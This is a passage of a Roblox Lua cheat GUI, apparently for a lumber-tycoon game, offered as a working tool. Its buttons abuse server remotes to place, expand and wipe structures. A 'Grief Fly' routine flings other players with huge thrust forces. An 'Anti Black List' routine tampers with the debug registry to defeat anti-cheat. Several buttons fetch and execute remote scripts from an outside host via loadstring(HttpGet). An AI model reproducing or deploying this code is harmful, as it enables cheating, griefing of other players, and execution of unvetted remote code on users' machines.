FillSnowGlow.MouseButton1Down:connect(function()
	local PlayerName = PaintNameBox.Text
-- Put Whole Name
local WoodName = "SnowGlow"
local ItsCFrame
local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
if v:FindFirstChild("MainCFrame") then
ItsCFrame = v.MainCFrame.Value
else
ItsCFrame = v.PrimaryPart.CFrame
end
if v ~= nil then
Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
end
end
end
end
end)

FillCaveCrawler.Name = "CaveCrawler"
FillCaveCrawler.Parent = PaintFills
FillCaveCrawler.BackgroundColor3 = Color3.fromRGB(33, 84, 185)
FillCaveCrawler.BorderColor3 = Color3.new(0, 0, 0)
FillCaveCrawler.Position = UDim2.new(0, 3, 0, 325)
FillCaveCrawler.Size = UDim2.new(0, 150, 0, 20)
FillCaveCrawler.Font = Enum.Font.SourceSans
FillCaveCrawler.Text = "CaveCrawler"
FillCaveCrawler.TextColor3 = Color3.new(0, 0, 0)
FillCaveCrawler.TextSize = 14

FillCaveCrawler.MouseButton1Down:connect(function()
	local PlayerName = PaintNameBox.Text
-- Put Whole Name
local WoodName = "CaveCrawler"
local ItsCFrame
local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
if v:FindFirstChild("MainCFrame") then
ItsCFrame = v.MainCFrame.Value
else
ItsCFrame = v.PrimaryPart.CFrame
end
if v ~= nil then
Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
end
end
end
end
end)

FillSpooky.Name = "Spooky"
FillSpooky.Parent = PaintFills
FillSpooky.BackgroundColor3 = Color3.fromRGB(98, 71, 50)
FillSpooky.BorderColor3 = Color3.new(0, 0, 0)
FillSpooky.Position = UDim2.new(0, 3, 0, 348)
FillSpooky.Size = UDim2.new(0, 150, 0, 20)
FillSpooky.Font = Enum.Font.SourceSans
FillSpooky.Text = "Spooky"
FillSpooky.TextColor3 = Color3.new(0, 0, 0)
FillSpooky.TextSize = 14

FillSpooky.MouseButton1Down:connect(function()
	local PlayerName = PaintNameBox.Text
-- Put Whole Name
local WoodName = "Spooky"
local ItsCFrame
local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
if v:FindFirstChild("MainCFrame") then
ItsCFrame = v.MainCFrame.Value
else
ItsCFrame = v.PrimaryPart.CFrame
end
if v ~= nil then
Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
end
end
end
end
end)

FillLoneCave.Name = "LoneCave"
FillLoneCave.Parent = PaintFills
FillLoneCave.BackgroundColor3 = Color3.fromRGB(207, 226, 247)
FillLoneCave.BorderColor3 = Color3.new(0, 0, 0)
FillLoneCave.Position = UDim2.new(0, 3, 0, 371)
FillLoneCave.Size = UDim2.new(0, 150, 0, 20)
FillLoneCave.Font = Enum.Font.SourceSans
FillLoneCave.Text = "LoneCave"
FillLoneCave.TextColor3 = Color3.new(0, 0, 0)
FillLoneCave.TextSize = 14

FillLoneCave.MouseButton1Down:connect(function()
	local PlayerName = PaintNameBox.Text
-- Put Whole Name
local WoodName = "LoneCave"
local ItsCFrame
local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
if v:FindFirstChild("MainCFrame") then
ItsCFrame = v.MainCFrame.Value
else
ItsCFrame = v.PrimaryPart.CFrame
end
if v ~= nil then
Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
end
end
end
end
end)

FillSpookyNeon.Name = "SpookyNeon"
FillSpookyNeon.Parent = PaintFills
FillSpookyNeon.BackgroundColor3 = Color3.fromRGB(255, 176, 0)
FillSpookyNeon.BorderColor3 = Color3.new(0, 0, 0)
FillSpookyNeon.Position = UDim2.new(0, 3, 0, 394)
FillSpookyNeon.Size = UDim2.new(0, 150, 0, 20)
FillSpookyNeon.Font = Enum.Font.SourceSans
FillSpookyNeon.Text = "SpookyNeon"
FillSpookyNeon.TextColor3 = Color3.new(0, 0, 0)
FillSpookyNeon.TextSize = 14

FillSpookyNeon.MouseButton1Down:connect(function()
	local PlayerName = PaintNameBox.Text
-- Put Whole Name
local WoodName = "SpookyNeon"
local ItsCFrame
local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
if v:FindFirstChild("MainCFrame") then
ItsCFrame = v.MainCFrame.Value
else
ItsCFrame = v.PrimaryPart.CFrame
end
if v ~= nil then
Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
end
end
end
end
end)

FillGenericSpecial.Name = "GenericSpecial"
FillGenericSpecial.Parent = PaintFills
FillGenericSpecial.BackgroundColor3 = Color3.fromRGB(255, 102, 204)
FillGenericSpecial.BorderColor3 = Color3.new(0, 0, 0)
FillGenericSpecial.Position = UDim2.new(0, 3, 0, 417)
FillGenericSpecial.Size = UDim2.new(0, 150, 0, 20)
FillGenericSpecial.Font = Enum.Font.SourceSans
FillGenericSpecial.Text = "Pink"
FillGenericSpecial.TextColor3 = Color3.new(0, 0, 0)
FillGenericSpecial.TextSize = 14

FillGenericSpecial.MouseButton1Down:connect(function()
	local PlayerName = PaintNameBox.Text
-- Put Whole Name
local WoodName = "GenericSpecial"
local ItsCFrame
local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
if v:FindFirstChild("MainCFrame") then
ItsCFrame = v.MainCFrame.Value
else
ItsCFrame = v.PrimaryPart.CFrame
end
if v ~= nil then
Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
end
end
end
end
end)

FillFrost.Name = "Frost"
FillFrost.Parent = PaintFills
FillFrost.BackgroundColor3 = Color3.fromRGB(175, 221, 255)
FillFrost.BorderColor3 = Color3.new(0, 0, 0)
FillFrost.Position = UDim2.new(0, 3, 0, 440)
FillFrost.Size = UDim2.new(0, 150, 0, 20)
FillFrost.Font = Enum.Font.SourceSans
FillFrost.Text = "Frost"
FillFrost.TextColor3 = Color3.new(0, 0, 0)
FillFrost.TextSize = 14

FillFrost.MouseButton1Down:connect(function()
	local PlayerName = PaintNameBox.Text
-- Put Whole Name
local WoodName = "Frost"
local ItsCFrame
local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
if v:FindFirstChild("MainCFrame") then
ItsCFrame = v.MainCFrame.Value
else
ItsCFrame = v.PrimaryPart.CFrame
end
if v ~= nil then
Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
end
end
end
end
end)

FillGrey.Name = "Grey"
FillGrey.Parent = PaintFills
FillGrey.BackgroundColor3 = Color3.fromRGB(159, 161, 172)
FillGrey.BorderColor3 = Color3.new(0, 0, 0)
FillGrey.Position = UDim2.new(0, 3, 0, 463)
FillGrey.Size = UDim2.new(0, 150, 0, 20)
FillGrey.Font = Enum.Font.SourceSans
FillGrey.Text = "Del Prints"
FillGrey.TextColor3 = Color3.new(0, 0, 0)
FillGrey.TextSize = 14

FillGrey.MouseButton1Down:connect(function()
	local PlayerName = PaintNameBox.Text
-- Put Whole Name
local WoodName = "Grey"
local ItsCFrame
local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
if v:FindFirstChild("MainCFrame") then
ItsCFrame = v.MainCFrame.Value
else
ItsCFrame = v.PrimaryPart.CFrame
end
if v ~= nil then
Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
end
end
end
end
end)

local BaseFLOOR = Instance.new("TextButton")

BaseFLOOR.Name = "BaseFLOOR"
BaseFLOOR.Parent = ArtFrame
BaseFLOOR.BackgroundColor3 = Color3.new(0, 0, 0)
BaseFLOOR.BorderColor3 = Color3.new(0, 0, 0)
BaseFLOOR.Position = UDim2.new(0, 3, 0, 49)
BaseFLOOR.Size = UDim2.new(0, 165, 0, 20)
BaseFLOOR.Font = Enum.Font.Fantasy
BaseFLOOR.FontSize = Enum.FontSize.Size18
BaseFLOOR.Text = "Base Floor Prints"
BaseFLOOR.TextColor3 = Color3.new(255, 0, 0)
BaseFLOOR.TextSize = 15
BaseFLOOR.MouseButton1Down:connect(function()
loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/BaseFLOOR1.txt',true))()

end)

local SingleWalls = Instance.new("TextButton")

SingleWalls.Name = "SingleWalls"
SingleWalls.Parent = ArtFrame
SingleWalls.BackgroundColor3 = Color3.new(0, 0, 0)
SingleWalls.BorderColor3 = Color3.new(0, 0, 0)
SingleWalls.Position = UDim2.new(0, 3, 0, 72)
SingleWalls.Size = UDim2.new(0, 165, 0, 20)
SingleWalls.Font = Enum.Font.Fantasy
SingleWalls.FontSize = Enum.FontSize.Size18
SingleWalls.Text = "Single Wall Prints"
SingleWalls.TextColor3 = Color3.new(255, 0, 0)
SingleWalls.TextSize = 15
SingleWalls.MouseButton1Down:connect(function()
loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/SingeWALLS.txt',true))()

end)

local DoubleWalls = Instance.new("TextButton")

DoubleWalls.Name = "DoubleWalls"
DoubleWalls.Parent = ArtFrame
DoubleWalls.BackgroundColor3 = Color3.new(0, 0, 0)
DoubleWalls.BorderColor3 = Color3.new(0, 0, 0)
DoubleWalls.Position = UDim2.new(0, 3, 0, 95)
DoubleWalls.Size = UDim2.new(0, 165, 0, 20)
DoubleWalls.Font = Enum.Font.Fantasy
DoubleWalls.FontSize = Enum.FontSize.Size18
DoubleWalls.Text = "Double Wall Prints"
DoubleWalls.TextColor3 = Color3.new(255, 0, 0)
DoubleWalls.TextSize = 15
DoubleWalls.MouseButton1Down:connect(function()
loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/DoubleWALLS.txt',true))()

end)

local TripleWalls = Instance.new("TextButton")

TripleWalls.Name = "TripleWalls"
TripleWalls.Parent = ArtFrame
TripleWalls.BackgroundColor3 = Color3.new(0, 0, 0)
TripleWalls.BorderColor3 = Color3.new(0, 0, 0)
TripleWalls.Position = UDim2.new(0, 3, 0, 118)
TripleWalls.Size = UDim2.new(0, 165, 0, 20)
TripleWalls.Font = Enum.Font.Fantasy
TripleWalls.FontSize = Enum.FontSize.Size18
TripleWalls.Text = "Triple Wall Prints"
TripleWalls.TextColor3 = Color3.new(255, 0, 0)
TripleWalls.TextSize = 15
TripleWalls.MouseButton1Down:connect(function()
loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/TripleWALLS1.txt',true))()

end)

local Hoofer = Instance.new("TextButton")

Hoofer.Name = "Hoofer"
Hoofer.Parent = ArtFrame
Hoofer.BackgroundColor3 = Color3.new(0, 0, 0)
Hoofer.BorderColor3 = Color3.new(0, 0, 0)
Hoofer.Position = UDim2.new(0, 3, 0, 118)
Hoofer.Size = UDim2.new(0, 165, 0, 20)
Hoofer.Font = Enum.Font.Fantasy
Hoofer.FontSize = Enum.FontSize.Size18
Hoofer.Text = "Hoofer Art Gui"
Hoofer.TextColor3 = Color3.new(255, 0, 0)
Hoofer.TextSize = 15
Hoofer.MouseButton1Down:connect(function()
loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/hooferb.txt',true))()

end)

local Landart = Instance.new("TextButton")

Landart.Name = "Landart"
Landart.Parent = ArtFrame
Landart.BackgroundColor3 = Color3.new(0, 0, 0)
Landart.BorderColor3 = Color3.new(0, 0, 0)
Landart.Position = UDim2.new(0, 3, 0, 141)
Landart.Size = UDim2.new(0, 165, 0, 20)
Landart.Font = Enum.Font.Fantasy
Landart.FontSize = Enum.FontSize.Size18
Landart.Text = "Custom Land Art"
Landart.TextColor3 = Color3.new(255, 0, 0)
Landart.TextSize = 15
Landart.MouseButton1Down:connect(function()
loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/LANDART1.txt',true))()

end)

local BluePrints = Instance.new("TextButton")

BluePrints.Name = "BluePrints"
BluePrints.Parent = ArtFrame
BluePrints.BackgroundColor3 = Color3.new(0, 0, 0)
BluePrints.BorderColor3 = Color3.new(0, 0, 0)
BluePrints.Position = UDim2.new(0, 3, 0, 164)
BluePrints.Size = UDim2.new(0, 165, 0, 20)
BluePrints.Font = Enum.Font.Fantasy
BluePrints.FontSize = Enum.FontSize.Size18
BluePrints.Text = "BluePrints"
BluePrints.TextColor3 = Color3.new(255, 0, 0)
BluePrints.TextSize = 15
BluePrints.MouseButton1Down:connect(function()

for i,v in pairs(game.ReplicatedStorage.Purchasables.Structures.BlueprintStructures:GetChildren()) do
local clone = v:Clone()
clone.Parent = game.Players.LocalPlayer.PlayerBlueprints.Blueprints
end
end)


local MaxLand = Instance.new("TextButton")

MaxLand.Name = "MaxLand"
MaxLand.Parent = ArtFrame
MaxLand.BackgroundColor3 = Color3.new(0, 0, 0)
MaxLand.BorderColor3 = Color3.new(0, 0, 0)
MaxLand.Position = UDim2.new(0, 3, 0, 187)
MaxLand.Size = UDim2.new(0, 165, 0, 20)
MaxLand.Font = Enum.Font.Fantasy
MaxLand.FontSize = Enum.FontSize.Size18
MaxLand.Text = "MaxLand"
MaxLand.TextColor3 = Color3.new(255, 0, 0)
MaxLand.TextSize = 15
MaxLand.MouseButton1Down:connect(function()

for i, v in pairs(game:GetService("Workspace").Properties:GetChildren()) do
		if v:FindFirstChild("Owner") and v.Owner.Value == game.Players.LocalPlayer then
			base = v
			square = v.OriginSquare
			end
		end
	function makebase(pos)
		local Event = game:GetService("ReplicatedStorage").PropertyPurchasing.ClientExpandedProperty
		Event:FireServer(base, pos)
		end
	spos = square.Position
	makebase(CFrame.new(spos.X + 40, spos.Y, spos.Z))
	makebase(CFrame.new(spos.X - 40, spos.Y, spos.Z))
	makebase(CFrame.new(spos.X, spos.Y, spos.Z + 40))
	makebase(CFrame.new(spos.X, spos.Y, spos.Z - 40))
	makebase(CFrame.new(spos.X + 40, spos.Y, spos.Z + 40))
	makebase(CFrame.new(spos.X + 40, spos.Y, spos.Z - 40))
	makebase(CFrame.new(spos.X - 40, spos.Y, spos.Z + 40))
	makebase(CFrame.new(spos.X - 40, spos.Y, spos.Z - 40))
	makebase(CFrame.new(spos.X + 80, spos.Y, spos.Z))
	makebase(CFrame.new(spos.X - 80, spos.Y, spos.Z))
	makebase(CFrame.new(spos.X, spos.Y, spos.Z + 80))
	makebase(CFrame.new(spos.X, spos.Y, spos.Z - 80))
--Corners--
	makebase(CFrame.new(spos.X + 80, spos.Y, spos.Z + 80))
	makebase(CFrame.new(spos.X + 80, spos.Y, spos.Z - 80))
	makebase(CFrame.new(spos.X - 80, spos.Y, spos.Z + 80))
	makebase(CFrame.new(spos.X - 80, spos.Y, spos.Z - 80))
--Corners--
	makebase(CFrame.new(spos.X + 40, spos.Y, spos.Z + 80))
	makebase(CFrame.new(spos.X - 40, spos.Y, spos.Z + 80))
	makebase(CFrame.new(spos.X + 80, spos.Y, spos.Z + 40))
	makebase(CFrame.new(spos.X + 80, spos.Y, spos.Z - 40))
	makebase(CFrame.new(spos.X - 80, spos.Y, spos.Z + 40))
	makebase(CFrame.new(spos.X - 80, spos.Y, spos.Z - 40))
	makebase(CFrame.new(spos.X + 40, spos.Y, spos.Z - 80))
	makebase(CFrame.new(spos.X - 40, spos.Y, spos.Z - 80))

end)

local WipeBase = Instance.new("TextButton")

WipeBase.Name = "WipeBase"
WipeBase.Parent = ArtFrame
WipeBase.BackgroundColor3 = Color3.new(0, 0, 0)
WipeBase.BorderColor3 = Color3.new(0, 0, 0)
WipeBase.Position = UDim2.new(0, 3, 0, 210)
WipeBase.Size = UDim2.new(0, 165, 0, 20)
WipeBase.Font = Enum.Font.Fantasy
WipeBase.FontSize = Enum.FontSize.Size18
WipeBase.Text = "Wipe Base"
WipeBase.TextColor3 = Color3.new(255, 0, 0)
WipeBase.TextSize = 15
WipeBase.MouseButton1Down:Connect(function()
plr = game.Players.LocalPlayer.Name
pmds = game.Workspace.PlayerModels
PlaceR = game.ReplicatedStorage.Interaction.DestroyStructure
for i, v in pairs(pmds:GetChildren()) do
if v:FindFirstChild("Owner") and v.Owner.Value ~= nil and v.Owner.Value == game.Players[plr] and v:FindFirstChild("ItemName") and v:FindFirstChild("Type") and (v.PrimaryPart ~= nil or v:FindFirstChild("MainCFrame")) then
PlaceR:FireServer(v)
end
end
end)

WCollide = "Nothing"

local toolaFrame = Instance.new("Frame")
local toolamenu = Instance.new("ImageButton")
local WalkspeedLabel = Instance.new("TextButton")
local JumpText = Instance.new("TextBox")
local WalkSpeed = Instance.new("TextLabel")
local JumpPower = Instance.new("TextButton")
local AntiBlack = Instance.new("TextButton")
local GriefFly = Instance.new("TextButton")
local StopGriefFly = Instance.new("TextButton")
local Fly = Instance.new("TextButton")
local PinkWires = Instance.new("TextButton")
local WaterCollide = Instance.new("TextButton")
local ClickTP = Instance.new("TextButton")
local Noclip = Instance.new("TextButton")
local AntiAFK = Instance.new("TextButton")
local AntiAFKtime = Instance.new("TextLabel")
local Fog = Instance.new("TextButton")
local CARA = Instance.new("TextButton")
local CARAs = Instance.new("TextBox")
local RemoveT = Instance.new("TextButton")
local ReJoinServer = Instance.new("TextButton")
local Reset = Instance.new("TextButton")


toolamenu.Name = "toolamenu"
toolamenu.Parent = Picker
toolamenu.BackgroundColor3 = Color3.new(1, 1, 1)
toolamenu.BorderColor3 = Color3.new(0, 0, 0)
toolamenu.Position = UDim2.new(0, 15, 0,430)
toolamenu.Size = UDim2.new(0, 80, 0, 80)
toolamenu.ZIndex = 3
toolamenu.Image = "rbxassetid://3916428981"
toolamenu.ScaleType = Enum.ScaleType.Crop
toolamenu.MouseButton1Click:Connect(function()
CurrentItem.Image = "rbxassetid://3886256996"
AIntroImage.Visible = false
AIntroImage1.Visible = false

end)

toolaFrame.Name = "toolaFrame"
toolaFrame.Parent = MenuFrame
toolaFrame.BorderSizePixel = 1
toolaFrame.BackgroundTransparency = 0
toolaFrame.BorderColor3 = Color3.new(0, 0, 0)
toolaFrame.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
toolaFrame.Size = UDim2.new(0, 170, 0, 373)
toolaFrame.Visible = false

JumpText.Name = "JumpText"
JumpText.Parent = toolaFrame
JumpText.BackgroundColor3 = Color3.new(0, 0, 0)
JumpText.BorderColor3 = Color3.new(0, 0, 0)
JumpText.Position = UDim2.new(0, 147, 0, 26)
JumpText.Size = UDim2.new(0, 21, 0, 20)
JumpText.Font = Enum.Font.Fantasy
JumpText.FontSize = Enum.FontSize.Size18
JumpText.Text = "50"
JumpText.TextColor3 = Color3.new(255, 0, 0)
JumpText.TextSize = 15

JumpPower.Name = "JumpPowerLabel"
JumpPower.Parent = toolaFrame
JumpPower.BackgroundColor3 = Color3.new(0, 0, 0)
JumpPower.BorderColor3 = Color3.new(0, 0, 0)
JumpPower.Position = UDim2.new(0, 3, 0, 26)
JumpPower.Size = UDim2.new(0, 140, 0, 20)
JumpPower.Font = Enum.Font.Fantasy
JumpPower.FontSize = Enum.FontSize.Size18
JumpPower.Text = "Jump Power"
JumpPower.TextColor3 = Color3.new(255, 0, 0)
JumpPower.TextSize = 15

player = game.Players.LocalPlayer
Jump = 50

JumpPower.MouseButton1Down:connect(function()
Jump = JumpText.Text
end)

player.Character.Humanoid.JumpPower = Jump

player.Character.Humanoid.Changed:connect(function()
player.Character.Humanoid.JumpPower = Jump

end)

WalkspeedLabel.Name = "WalkspeedLabel"
WalkspeedLabel.Parent = toolaFrame
WalkspeedLabel.BackgroundColor3 = Color3.new(0, 0, 0)
WalkspeedLabel.BorderColor3 = Color3.new(0, 0, 0)
WalkspeedLabel.Position = UDim2.new(0, 3, 0, 3)
WalkspeedLabel.Size = UDim2.new(0, 140, 0, 20)
WalkspeedLabel.Font = Enum.Font.Fantasy
WalkspeedLabel.FontSize = Enum.FontSize.Size18
WalkspeedLabel.Text = "Walkspeed"
WalkspeedLabel.TextColor3 = Color3.new(255, 0, 0)
WalkspeedLabel.TextSize = 15

WalkSpeed.Name = "WalkSpeed"
WalkSpeed.Parent = toolaFrame
WalkSpeed.BackgroundColor3 = Color3.new(0, 0, 0)
WalkSpeed.BorderColor3 = Color3.new(0, 0, 0)
WalkSpeed.Position = UDim2.new(0, 147, 0, 3)
WalkSpeed.Size = UDim2.new(0, 21, 0, 20)
WalkSpeed.Font = Enum.Font.Fantasy
WalkSpeed.FontSize = Enum.FontSize.Size18
WalkSpeed.Text = "V"
WalkSpeed.TextColor3 = Color3.new(255, 0, 0)
WalkSpeed.TextSize = 15

WalkspeedLabel.MouseButton1Down:connect(function()
	 local walkspeedplayer = game:GetService("Players").LocalPlayer
    local walkspeedmouse = walkspeedplayer:GetMouse()
    
    local walkspeedenabled = false
    
  function x_walkspeed(key)
        if (key == "v") then
            if walkspeedenabled == false then
                 _G.WS = 150;

                local Humanoid = game:GetService("Players").LocalPlayer.Character.Humanoid;
                Humanoid:GetPropertyChangedSignal("WalkSpeed"):Connect(function()
                Humanoid.WalkSpeed = _G.WS;
                end)
                Humanoid.WalkSpeed = _G.WS;
                
                walkspeedenabled = true
            elseif walkspeedenabled == true then
                _G.WS = 15;
                local Humanoid = game:GetService("Players").LocalPlayer.Character.Humanoid;
                Humanoid:GetPropertyChangedSignal("WalkSpeed"):Connect(function()
                Humanoid.WalkSpeed = _G.WS;
                end)
                Humanoid.WalkSpeed = _G.WS;
                
                walkspeedenabled = false
            end
        end
    end
    
    walkspeedmouse.KeyDown:connect(x_walkspeed)

end)

AntiBlack.Name = "AntiBlackLabel"
AntiBlack.Parent = toolaFrame
AntiBlack.BackgroundColor3 = Color3.new(0, 0, 0)
AntiBlack.BorderColor3 = Color3.new(0, 0, 0)
AntiBlack.Position = UDim2.new(0, 3, 0, 49)
AntiBlack.Size = UDim2.new(0, 165, 0, 20)
AntiBlack.Font = Enum.Font.Fantasy
AntiBlack.FontSize = Enum.FontSize.Size18
AntiBlack.Text = "Anti Black List (OFF)"
AntiBlack.TextColor3 = Color3.new(255, 0, 0)
AntiBlack.TextSize = 15
AntiBlack.MouseButton1Click:connect(function()
    AntiBlack.TextColor3 = Color3.new(1, 1, 1)
    AntiBlack.BackgroundColor3 = Color3.new(0, 0, 0)
    AntiBlack.Text = "Anti Black List (ON)"
local plr = game.Players.LocalPlayer
	local cframe
	for i,v in next, workspace:GetDescendants() do
		if v:IsA("SpawnLocation") then
			v.Touched:Connect(function(h)
			if h.Parent == plr.Character and cframe then
				plr.Character:SetPrimaryPartCFrame(cframe)
				end
			end)
		end
	end

	game:GetService("RunService"):BindToRenderStep("NO HACKS",Enum.RenderPriority.Last.Value,function()
	if game.Players.LocalPlayer.Character.PrimaryPart then
		cframe = game.Players.LocalPlayer.Character.PrimaryPart.CFrame
		end
	end)

	for i,v in next, debug.getregistry() do
		if type(v)=='function' and debug.getupvalues(v).lastUpdate then
			debug.setupvalue(v,"lastUpdate",math.huge)
			break
		end
	end

	for i,v in next, workspace.Effects:GetChildren() do
		if v:IsA("BasePart") and v.Name == "BlacklistWall" then
			v:Destroy()
		end
	end
end)

GriefFly.Name = "GriefFly"
GriefFly.Parent = toolaFrame
GriefFly.BackgroundColor3 = Color3.new(0, 0, 0)
GriefFly.BorderColor3 = Color3.new(0, 0, 0)
GriefFly.Position = UDim2.new(0, 3, 0, 72)
GriefFly.Size = UDim2.new(0, 110, 0, 20)
GriefFly.Font = Enum.Font.Fantasy
GriefFly.FontSize = Enum.FontSize.Size18
GriefFly.Text = "Grief Fly Off "
GriefFly.TextColor3 = Color3.new(255, 0, 0)
GriefFly.TextSize = 15
GriefFly.MouseButton1Click:connect(function()
GriefFly.Text = "Grief Fly On "
GriefFly.TextColor3 = Color3.new(1, 1, 1)
StopGriefFly.Text = "Stop Fly"
Speed = 2
Force = 800000

--Script:
lplayer = game:GetService("Players").LocalPlayer
Mouse = lplayer:GetMouse()
speedfly = Speed
T = lplayer.Character.HumanoidRootPart
CONTROL = {F = 0, B = 0, L = 0, R = 0}
lCONTROL = {F = 0, B = 0, L = 0, R = 0}

local function fly()
flying = true
local BG = Instance.new('BodyGyro', T)
local BV = Instance.new('BodyVelocity', T)
BG.P = 9e4
BG.maxTorque = Vector3.new(9e9, 9e9, 9e9)
BG.cframe = T.CFrame
BV.velocity = Vector3.new(0, 0.1, 0)
BV.maxForce = Vector3.new(9e9, 9e9, 9e9)
spawn(function()
repeat wait()
lplayer.Character.Humanoid.PlatformStand = true
if CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0 then
SPEED = 50
elseif not (CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0) and SPEED ~= 0 then
SPEED = 0
end
if (CONTROL.L + CONTROL.R) ~= 0 or (CONTROL.F + CONTROL.B) ~= 0 then
BV.velocity = ((workspace.CurrentCamera.CoordinateFrame.lookVector * (CONTROL.F + CONTROL.B)) + ((workspace.CurrentCamera.CoordinateFrame * CFrame.new(CONTROL.L + CONTROL.R, (CONTROL.F + CONTROL.B) * 0.2, 0).p) - workspace.CurrentCamera.CoordinateFrame.p)) * SPEED
lCONTROL = {F = CONTROL.F, B = CONTROL.B, L = CONTROL.L, R = CONTROL.R}
elseif (CONTROL.L + CONTROL.R) == 0 and (CONTROL.F + CONTROL.B) == 0 and SPEED ~= 0 then
BV.velocity = ((workspace.CurrentCamera.CoordinateFrame.lookVector * (lCONTROL.F + lCONTROL.B)) + ((workspace.CurrentCamera.CoordinateFrame * CFrame.new(lCONTROL.L + lCONTROL.R, (lCONTROL.F + lCONTROL.B) * 0.2, 0).p) - workspace.CurrentCamera.CoordinateFrame.p)) * SPEED
else
BV.velocity = Vector3.new(0, 0.1, 0)
end
BG.cframe = workspace.CurrentCamera.CoordinateFrame
until not flying
CONTROL = {F = 0, B = 0, L = 0, R = 0}
lCONTROL = {F = 0, B = 0, L = 0, R = 0}
SPEED = 0
BG:destroy()
BV:destroy()
lplayer.Character.Humanoid.PlatformStand = false
end)
end
Mouse.KeyDown:connect(function(KEY)
if KEY:lower() == 'w' then
CONTROL.F = speedfly
elseif KEY:lower() == 's' then
CONTROL.B = -speedfly
elseif KEY:lower() == 'a' then
CONTROL.L = -speedfly 
elseif KEY:lower() == 'd' then 
CONTROL.R = speedfly
end
end)
Mouse.KeyUp:connect(function(KEY)
if KEY:lower() == 'w' then
CONTROL.F = 0
elseif KEY:lower() == 's' then
CONTROL.B = 0
elseif KEY:lower() == 'a' then
CONTROL.L = 0
elseif KEY:lower() == 'd' then
CONTROL.R = 0
end
end)
fly()


-- Made by JackMcJagger15

power = Force -- change this to make it more or less powerful

game:GetService('RunService').Stepped:connect(function()
game.Players.LocalPlayer.Character.Head.CanCollide = false
game.Players.LocalPlayer.Character.Torso.CanCollide = false
game.Players.LocalPlayer.Character["Left Leg"].CanCollide = false
game.Players.LocalPlayer.Character["Right Leg"].CanCollide = false
end)

wait(.1)
local bambam = Instance.new("BodyThrust")
bambam.Parent = game.Players.LocalPlayer.Character.HumanoidRootPart
bambam.Force = Vector3.new(power,0,power)
bambam.Location = game.Players.LocalPlayer.Character.HumanoidRootPart.Position

while wait(0.2) do
game.Players.LocalPlayer.Character:WaitForChild("Humanoid").Died:connect(function()
script:Remove()
end)
end
end)

StopGriefFly.Name = "StopGriefFly"
StopGriefFly.Parent = toolaFrame
StopGriefFly.BackgroundColor3 = Color3.new(0, 0, 0)
StopGriefFly.BorderColor3 = Color3.new(0, 0, 0)
StopGriefFly.Position = UDim2.new(0, 117, 0, 72)
StopGriefFly.Size = UDim2.new(0, 51, 0, 20)
StopGriefFly.Font = Enum.Font.Fantasy
StopGriefFly.FontSize = Enum.FontSize.Size18
StopGriefFly.Text = "Stop Fly"
StopGriefFly.TextColor3 = Color3.new(255, 0, 0)
StopGriefFly.TextSize = 15
StopGriefFly.MouseButton1Click:connect(function()
GriefFly.TextColor3 = Color3.new(1, 1, 1)
active = false
game.Players.LocalPlayer.Character.HumanoidRootPart.BodyThrust:Remove()
if flying then
end
GriefFly.Text = "Grief Fly Off "
StopGriefFly.Text = "Press Fly"
GriefFly.TextColor3 = Color3.new(255, 0, 0)
end)

Fly.Name = "Fly"
Fly.Parent = toolaFrame
Fly.BackgroundColor3 = Color3.new(0, 0, 0)
Fly.BorderColor3 = Color3.new(0, 0, 0)
Fly.Position =  UDim2.new(0, 3, 0, 95)
